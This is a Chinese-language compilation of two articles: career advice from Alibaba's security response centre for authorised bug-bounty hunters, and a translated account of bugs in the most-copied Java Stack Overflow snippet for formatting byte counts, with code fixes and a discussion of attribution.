相遇是缘，很多白帽成了朋友。6年来朋友们来来回回，有的成了同事，有的在友商努力，有的变

身创业大拿，也有的转行地产销售、网站开发、网红、种水果等。

很多人已经离开这个圈子，祝福他们；更多人还在，所以我们今天想聊下入圈不久的小伙伴们常

有的疑惑，白帽该如何成长？尝试从几个角度谈谈抛砖引玉，希望对白帽有所启发。

27.1 「一」找好方向

方向有什么用？决定了你在碰到一门新知识时，是好好研究它还是随意了解下甚至不管它。

从能力本源讲，漏洞挖掘是白帽的基础能力，衍生出来，白帽一般可以选择三个技术方向成长：

1.漏洞挖掘专业方向的深度能力：不管是 web还是 iot，不管是 java还是 php，你若能研究透对这

个方向滚瓜烂熟总成大牛，其中需要有对代码能力的熟练掌握，也需要对官方文档的详细解读，大多

数特性不是靠 fuzz出来的，而是懂安全的人读文档发现了设计的缺陷，多掌握几个你就有核武器了；

2.漏洞挖掘跨越领域的横向能力：web做多了总会碰到一些 app项目，iot的活动也时有碰到，神

挡杀神，见招拆招，都研究了一遍之后你发现没有攻不破的系统，只有你还没开始研究的漏洞，跨领

域往往会有普遍浅尝则止的问题，建议无论挖什么方向，都往那些能评成高危级别的漏洞看；
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3.从攻击方转向防御：有时候你会发现有些人根本不懂漏洞，你让他修个 xss他屏蔽了 alert参数，

如果作为防御方，有时你需要把队友的能力尽量低估，而对自己的要求无限放高，这个漏洞若你来修

补应该是怎样，安全开发生命周期又该学些什么做些什么，研究多了你就是企业安全防御专家，大多

数企业非常需要这样的角色；

我们再看企业设岗，对于白帽来说相对匹配的，一般会有基于漏洞本身的漏洞分析研究、自动化

挖掘（扫描器）岗位，基于漏洞利用的渗透红队岗位，基于漏洞防御的安全攻防运营 &蓝队岗位，以

及安全服务专家、攻防社区运营专家岗位。运营是个很广泛的概念，技术运营岗也是技术。

在笔者看来进入一家企业和创业有一个共同点，是你需要找准一个点或一个方向。能力契合相对

会顺利一点，能力不够或错位则容易难受。当然创业复杂的多。

27.2 「二」找对方法

方法是路径，决定了你用什么方式成长。

技术成长的方式很多，但总归来说都是在积累新的方法、经验，总不能挖洞半年还是只会用那几个

xss的 poc试来试去，成长三要素：学习，实践，思考。ASRC也希望你变得更厉害。成长的几个路径：

1.实战成长，找有授权的项目做，SRC的漏洞悬赏、乙方公司的服务项目、众测平台的项目、H1

等海外平台的项目，不要做私人的项目防止未授权，做更多新的授权项目或者挖 SRC新的域名，碰到

无法解决的问题请教学习解决之，卡住了寻找探索新的思路去使用扩展，在这里有一个非常有效的办

法就是去看那些公开的漏洞，如何挖的，背后的漏洞原理是什么，寻找的过程是怎样；

2.潜心学习，互联网下书籍和文章很多，各种大会的 ppt更是满天飞，就像是找一本 5000页的书

花一段时间消化它，再做个实验实现它，若有一个老师教授，设立一个一个问题去让你研究材料解决，

那么会非常快，现在的很多 ctf也是这样的路线，只不过有些低质量的 ctf题目纯粹是脑筋急转弯的体

力活。很多人用闭关一段时间再出来实战再闭关再实战的方式，很不错；

3.经验的工具化，让自己的字典更加强大，让 poc集更多，让信息收集和利用的过程更加简易，让

原来 10分钟的事情现在 10秒完成，网络安全发展这么多年其实能称之为新的突破的知识其实更新频

次是非常低的，但是把所有现有的经验沉淀下来非常不容易，成型的 metasploit神器对你来说已经够

用，但有些人还会在上面封装一层去优化，让工具更便捷、让渗透更高效。不管你擅长 c、php、python

或者是 java，你都需要思考工具化，ASRC有位大哥易语言贼 6。
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27.3 「三」设立目标

职业生涯黄金年龄就那么十几年，之后很难再起。阶段性的给自己一个 ‘‘胶带’’很重要。

做技术理想状态下给自己三年无论在哪潜心修炼摸索实践，三年后一波小爆发。其中设立一些里

程碑、进度条。三年完成再下一个三年。

实际来看大多人本是平凡人，太长远的目标虚无缥缈，所以回归短期来看，可以以一个荣誉为目

标，获得后再争取更高的荣誉；以写一个工具为目标，拥有自己的渗透套件；以一个厂商的严重漏洞、

cve等为目标，物质 +荣誉；以一个证书为目标，oscp类考试学习成长很大；以一个岗位为目标，看

岗位要求努力学习面试。目标必须是为之努力的过程确实能给自己带来能力上的提升，或者拿到后给

自己有 buff加成的，否则意义不大。

是不是有一种玩游戏的感觉，过一关又过一关。职业生涯其实也是一种游戏，掌握游戏规则最重

要。

27.4 「四」找到合适的环境

人与人不同，很多人原本向往大甲方，但真正去了后又离开投入别的事业。就像爱情，总要找到合适

的人。

一去甲方，大型互联网公司如阿里往往有很高的天花板资源多足够学习挺久施展空间也很大，为

上亿用户提供安全保障，服务上千万商家，如果能力还要成长那先找个公司服务几万用户也不错，但

总要来见识下；

二在乙方，安全服务工程师大部分项目制，做完赶赴另一个项目节奏感明显，研究团队则能在技

术领域钻研较深，乙方有不以结果重导向的环境；
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三是自由职业，这一点和轻松的甲方及大部分乙方可以并存。五六年前就有人说，做白帽子挖漏

洞不长久，其实不然。我们处在信息化飞速发展的时代，每年大型互联网公司中都有数百个创新的项

目在等待开发上线，也有无数的功能被更新、代码被回滚，而即使是强如谷歌微软阿里，也总有开发

新人换旧人而自带安全技能的开发没那么多，还有无数的传统企业正在经历互联网的洗礼逐渐开启安

全的心智上网上云，你不测试总有别人发现宝藏。SRC和众测作为业内成熟的形态，若你在一个圈子

玩久了成为核心，总能有更多机会获得更有利的资源，也会认识更多优秀的伙伴互相帮助成长，加入

一个团队也是很好的选择。

本月初 ASRC与先知联合推出了王牌 A计划 2.0，旨在打造一个更好的白帽社区环境，王牌 A简

单说是会员体系。

ASRC平台获得奖金最多的白帽已经在平台累计获得了 200万 +的税后奖金，先知平台的顶尖白

帽年入百万。我们给予表现突出的白帽更优的福利，黑桃 A可以额外获得 100%，且能参与大部分先

知私密项目，但是获得难度也非常大。

王牌 A意味着什么？用奖励简单说，黑桃 A意味着月入 30万的能力，红桃 A意味着月入 5万的

能力，方块 A意味着月入 2万的能力。当然这只是 baseline，大多方块月入远超。王牌 A们聚在一起，

战斗力爆棚！

除了上述这些，认识一些安全圈的朋友，多见识见识参加一些会议甚至 BlackHat，有较好的英

语-国际化能力与外国黑客互动，都能为成长带来一些非技术的成长。如果你是社区核心，有时不需要

你主动寻找去参加，像 1月 10日阿里白帽大会都会主动找阿里核心白帽来与其他白帽一聚。有朋自

远方来又能倾听学习猪猪侠、jkgh006、二哥 gainover、顶尖白帽小灰灰的卓越演讲，参与讨论了解别

人的故事集思广益说不定能为你来带新的成长，不亦乐乎？不沉迷此道即可。

安全已经不是几年前那种靠一点技术脑门一热就能博眼球 show技能搞 pr的时代，今年是一个节

点，如今硬碰硬的对抗无处不在，唯有沉心修炼循序渐进方能开云见日修成正果。
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我摸鱼写的 Java代码意外称霸 StackOverflow十年：有 bug！

译者：代码卫士

来源：https://mp.weixin.qq.com/s/bOBEYHN2r0KsCjyKLExIkQ

Stack Overflow上有一个 Java代码片段称霸十年，是 Java开发人员最爱复制的片段。超过 6000个

GitHub Java项目中复制并内嵌了该代码，远超 Stack Overflow上的其它 Java片段。该片段的作者本尊

Andreas Lundblad刚刚发布博客文章来修 bug了. . . . . .

28.1 很久以前，久到离谱. . . . . .

那还是在 2010年，当时我在办公室摸鱼，去 Stack Overflow上精简精简代码，看看自己得到多少小星

星。

突然，我看到了一个提问：如何才能把 Java中的字节数数变成人类可读的格式呢？通俗地讲一下，

就是如何把 123,456,789字节这样的格式转化成 “123.5MB’’？

这里的隐含规范是，格式化后的字符串的值应该介于 1到 999.9之间，然后跟一个大小适当的后缀。

当时已经有人给出了一个答案。答案中的代码基于循环。它的思路很简单：try所有大小，从最大

（EB=1-18字节）到最小（B=1字节），然后使用小于字节数的第一个数。用伪代码表示一下就是：

suffixes = [ "EB", "PB", "TB", "GB", "MB", "kB", "B" ]

magnitudes = [ 1018, 1015, 1012, 109, 106, 103, 100 ]

i = 0

while (i < magnitudes.length && magnitudes[i] > byteCount)

i++

printf("%.1f %s", byteCount / magnitudes[i], suffixes[i])
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一般来说，如果已经发布的正确答案的分数为正，那么别人很难追上。在 Stack Overflow术语中，

这种情况被叫做 ‘‘西部问题快枪手 (Fastest Gun in the West Problem)’’。从本案例来看，因为现有答案

确实存在一些缺陷，因此我还有机会反超。至少我还可以大幅度清理下循环代码。

28.2 代数神助攻

灵感来了。kB、MB、GB等等什么的不就是 1000的幂（或者 IEC标准中的 1024）吗？也就是说我可

以使用对数而不是循环来计算正确的后缀是什么。

基于这个思路，我给出了自己的答案：

public static String humanReadableByteCount(long bytes, boolean si) {

int unit = si ? 1000 : 1024;

if (bytes < unit) return bytes + " B";

int exp = (int) (Math.log(bytes) / Math.log(unit));

String pre = (si ? "kMGTPE" : "KMGTPE").charAt(exp-1) + (si ? "" : "i");

return String.format("%.1f %sB", bytes / Math.pow(unit, exp), pre);

}

当然，我写的代码可读性并不高，而且 log/pow可能使效率逊色于其它解决方案。但它的优点在于

没有循环、几乎没有分支，所以我觉得挺整洁的。

解释下背后的数学知识，其实挺简单的。字节计数表示为 byteCount = 1000s，其中 s表示比例尺（二

进制表示法中，使用基数 1024）。求解 s得出 s = log1000 (byteCount)。API中没有现成可用的 log1000，

但是我们可以用自然对数表示为 s=log(byteCount)/log(1000)。之后给出 s的下限（转换为整型），因为

如果出现的情况是，比如大于 1的兆字节 (MB)（但并非完整的千兆字节），则希望使用MB作为大小。

此时，如果 s=1，则比例尺为千字节，如果 s=2则比例尺为兆字节，以此类推。我们将 byteCount

除以 1000，然后在相应的字母前缀上做文章。

提交答案后，我只要静等大家对它的满意度就行了。然而，我万万没料到它之后竟然能成为 Stack

Overflow上被复制次数最多的代码片段。

28.3 研究代码署名问题的论文来了

时间快进到 2018年。一位名叫 Sebastian Baltes的博士在《实证性软件工程》期刊上发表了一篇名为

《GitHub项目对 Stack Overflow代码片段的使用和署名问题》的论文，它解决的是这样一个问题：复

制代码时是否尊重 Stack Overflow的 CC BY-SA 3.0许可证？也就是说从 Stack Overflow上复制代码时，

应该如何分配署名情况？

他们在分析中从 Stack Overflow数据转出中提取了一些代码片段，并将其和 GitHub公开库中的代

码进行匹配。论文摘要如下：

‘‘我们分析了 GitHub (GH)项目中源自 Stack Overflow上大量 Java代码片段的使用和署名问题，并

给出大规模的实证研究结果。’’（提前剧透：多数人在使用时候并未给出署名。）
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他们在论文中给出如下表格：

排在第一名的 id为 3758880的答案碰巧就是我在 8年前给出的那个答案。此时答案的浏览量已经

超过 10万次，收获的赞也超过 1000个。

在 GitHub上搜一下确实能看到数千次有关 humanReadableByteCount的结果。

你可以在本地发出的仓库中查看下自己是否用了这段代码：

$ git grep humanReadableByteCount

插播有趣的相遇故事：我是怎么了解到这项研究的？Sebastian从 OpenJDK仓库中找到一个匹配结

果。其中并没有署名来源而且 OpenJDK许可证并不兼容 CC BY-SA 3.0。他于是找到运维邮件列表询

问 Stack Overflow上的这段代码是否是从 OpenJDK复制的，还是有其它情况。
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有意思的是，我曾在甲骨文工作，碰巧也是在 OpenJDK项目组。于是我的前同事也是朋友就回复

他说：

你好，

你为啥不直接问 Stack Overflow帖子的作者 (aioobe)呢？他也是 OpenJDK的奉献者而且他在甲骨

文工作时把这段代码写在了 OpenJDK源仓库中。

甲骨文并未掉以轻心。我碰巧知道甲骨文的一些人看到这个答复时松了一口气，而且在受到 ‘‘指

责’’后简直可以说是喜上眉梢。

Sebastian之后就直接找我询问，我答复他说：我发布帖子时还未入职甲骨文，而且我并未负责那

个补丁。和甲骨文开玩笑啦。之后不久这个问题就被提交给 OpenJDK，代码也被移除了。

28.4 Bug来了

我猜你肯定在想，这个代码片段中的 bug到底是什么啊？

我们再来看下：

public static String humanReadableByteCount(long bytes, boolean si) {

int unit = si ? 1000 : 1024;

if (bytes < unit) return bytes + " B";

int exp = (int) (Math.log(bytes) / Math.log(unit));

String pre = (si ? "kMGTPE" : "KMGTPE").charAt(exp-1) + (si ? "" : "i");

return String.format("%.1f %sB", bytes / Math.pow(unit, exp), pre);

}

1018 兆兆字节之后是 1021 泽字节。有没有这样一种可能：输入一个很大很大的数时，会导致

“Kmgtpe’’字符串索引超出范围？并不会。因为最大的 long值是 263-19.2Œ1018，因此任何 long值都

不会超出 EB范围。

那 SI和二进制之间会不会混淆？也不会。早期的答案版本有混淆情况但很快就被修复了。

那么 exp以 0结尾会不会导致 charAt(exp-1)失败？也不会。第一个 if语句涵盖了这种情况。exp的

值将始终至少为 1。

那么是不是输出结果中出现了诡异的舍入错误？好吧，我们来看看. . . . . .

28.5 很多个 9

这个答案一直都运行正常，直到 1MB时出问题了。当输入是 999,999时，结果（SI模式）是 “1000.0kB’’。

虽然 999,999确实更接近 1,000x 10001而不是 999.9 x10001，但根据标准要求，1,000的 ‘‘有效位数’’

超出了范围。正确的结果应该是 “1.0MB’’。

不管咋样，所有发布的 22个答案，包括使用 Apache Commons和 Android库的答案中在本文成文

时都存在这个 bug（或其变体）。
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那么我们如何修复这个问题呢？首先我们注意到，一旦字节数更接近 1Œ1,0002 (1 MB) 而非

999.9Œ10001 (999.9 k)，那么指数 (exp)就应该尽快从 “k’’转变为 “M’’。这种情况会在 999,950时发

生。同样，我们应该在超过 999,959,000时，将 “M’’切换为 “G’’，以此类推。

为此，我们计算得出这个阈值并且如果 bytes更大时，则增加 exp：

if (bytes >= Math.pow(unit, exp) * (unit - 0.05))

exp++;

更改后，代码运行正常，但到了 1EB又出问题了。

28.6 更多的 9

如果输入 999,949,999,999,999,999，那么现在的结果就是 1000.0 PB，但正确结果应该是 999.9 PB。从

数学上来说，这个代码结果是准确的，但到底出啥问题了？

这时就有必要看看 double的精度局限性了。

浮点算术 101

按照 IEEE 754标准表示的接近 0的浮点数值非常密集而大值非常稀疏。实际上超过一半的值都介

于-1和 1之间，当谈论大的 double时，实际上像 Long.MAX_VALUE这样的值毫无意义。

double l1 = Double.MAX_VALUE;

double l2 = l1 - Long.MAX_VALUE;

System.err.println(l1 == l2); // prints true

更多深入讲解可见：https://programming.guide/bits-of-a-floating-point-value.html。

这里存在两个有问题的计算：

String.format参数中的除法，以及

增加 exp的阈值

我们可以切换到 BigDecimal，但这样做还有啥乐趣！另外，由于标准 API中并不存在 BigDecimal

日志函数，因此会搞得一团糟。

28.7 缩小中间值

对于第一个问题，我们将字节值缩小到精度更好的范围，并且对 exp进行相应的调整。最终结果都是

四舍五入的，因此我们丢掉最低的有效数字也没事。

if (exp > 4) {

bytes /= unit;

exp--;

}
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28.8 调整最低有效位

至于第二个问题，我们确实需要注意最低有效位（999,949,99. . . 9和 999,950,00. . . 0应该以不同的指数

结尾），因此该问题要求使用其它解决方案。

首先，我们注意到阈值有 12种不同的可能值（每种模式为 6种），并且其中只有一个会出现问题。

我们可以通过以 D0016结尾的事实来唯一识别这个出问题的值。如果真是这样，那么我们只要将其调

整为正确的值即可。

long th = (long) (Math.pow(unit, exp) * (unit - 0.05));

if (exp < 6 && bytes >= th - ((th & 0xFFF) == 0xD00 ? 52 : 0))

exp++;

由于我们依赖浮点结果中的特定位模式，因此我们调整了 strictfp来确保其不受硬件运行代码的影

响。

28.9 负值输入

目前尚不清楚在什么情况下会输入负的字节计数，但既然 Java中并没有无符号的 long，那么我们最好

也把这个问题解决了。现在，如果输入 -10,000，那么结果是 -10000 B。

我们来看下 absBytes：

long absBytes = bytes == Long.MIN_VALUE ? Long.MAX_VALUE : Math.abs(bytes);

这个复杂的表达式是由 -Long.MIN_VALUE == Long.MIN_VALUE的事实造成的。现在我们使用

absBytes而非 bytes来执行和 exp有关的所有运算。

28.10 最终版本

这是该代码的最终版，本着原始版本的精神进行了精简：

// From: https://programming.guide/the-worlds-most-copied-so-snippet.html

public static strictfp String humanReadableByteCount(long bytes, boolean si) {

int unit = si ? 1000 : 1024;

long absBytes = bytes == Long.MIN_VALUE ? Long.MAX_VALUE : Math.abs(bytes);

if (absBytes < unit) return bytes + " B";

int exp = (int) (Math.log(absBytes) / Math.log(unit));

long th = (long) (Math.pow(unit, exp) * (unit - 0.05));

if (exp < 6 && absBytes >= th - ((th & 0xfff) == 0xd00 ? 52 : 0)) exp++;

String pre = (si ? "kMGTPE" : "KMGTPE").charAt(exp - 1) + (si ? "" : "i");

if (exp > 4) {
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bytes /= unit;

exp -= 1;

}

return String.format("%.1f %sB", bytes / Math.pow(unit, exp), pre);

}

需要注意的是，这个代码片段的初衷是避免使用循环和过多的分支。经过把所有的情况一一考虑

进去后，它的可读性更差了。我个人并不会把这个代码片段复制到生产代码中。

不过我更新了一个可以用于生产代码的版本，如下：

SI(1 k = 1,000)

public static String humanReadableByteCountSI(long bytes) {

String s = bytes < 0 ? "-" : "";

long b = bytes == Long.MIN_VALUE ? Long.MAX_VALUE : Math.abs(bytes);

return b < 1000L ? bytes + " B"

: b < 999_950L ? String.format("%s%.1f kB", s, b / 1e3)

: (b /= 1000) < 999_950L ? String.format("%s%.1f MB", s, b / 1e3)

: (b /= 1000) < 999_950L ? String.format("%s%.1f GB", s, b / 1e3)

: (b /= 1000) < 999_950L ? String.format("%s%.1f TB", s, b / 1e3)

: (b /= 1000) < 999_950L ? String.format("%s%.1f PB", s, b / 1e3)

: String.format("%s%.1f EB", s, b / 1e6);

}

Binary (1 K =1,024)

public static String humanReadableByteCountBin(long bytes) {

long b = bytes == Long.MIN_VALUE ? Long.MAX_VALUE : Math.abs(bytes);

return b < 1024L ? bytes + " B"

: b < 0xfffccccccccccccL >> 40 ? String.format("%.1f KiB", bytes / 0x1p10)

: b < 0xfffccccccccccccL >> 30 ? String.format("%.1f MiB", bytes / 0x1p20)

: b < 0xfffccccccccccccL >> 20 ? String.format("%.1f GiB", bytes / 0x1p30)

: b < 0xfffccccccccccccL >> 10 ? String.format("%.1f TiB", bytes / 0x1p40)

: b < 0xfffccccccccccccL ? String.format("%.1f PiB", (bytes >> 10) / 0x1p40)

: String.format("%.1f EiB", (bytes >> 20) / 0x1p40);

}

示例
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28.11 几个启发

Stack Overflow上的代码片段可能有 bug，即使获赞数千的答案也不例外。

测试所有边缘情况，尤其对于代码是从 Stack Overflow上复制的情况。

浮点运算很难。

复制代码时请包括适当的归属说明。不然可能有人会找你哟。

resource/2709a56522dd3141fd86f341a605d196bc017f45.png
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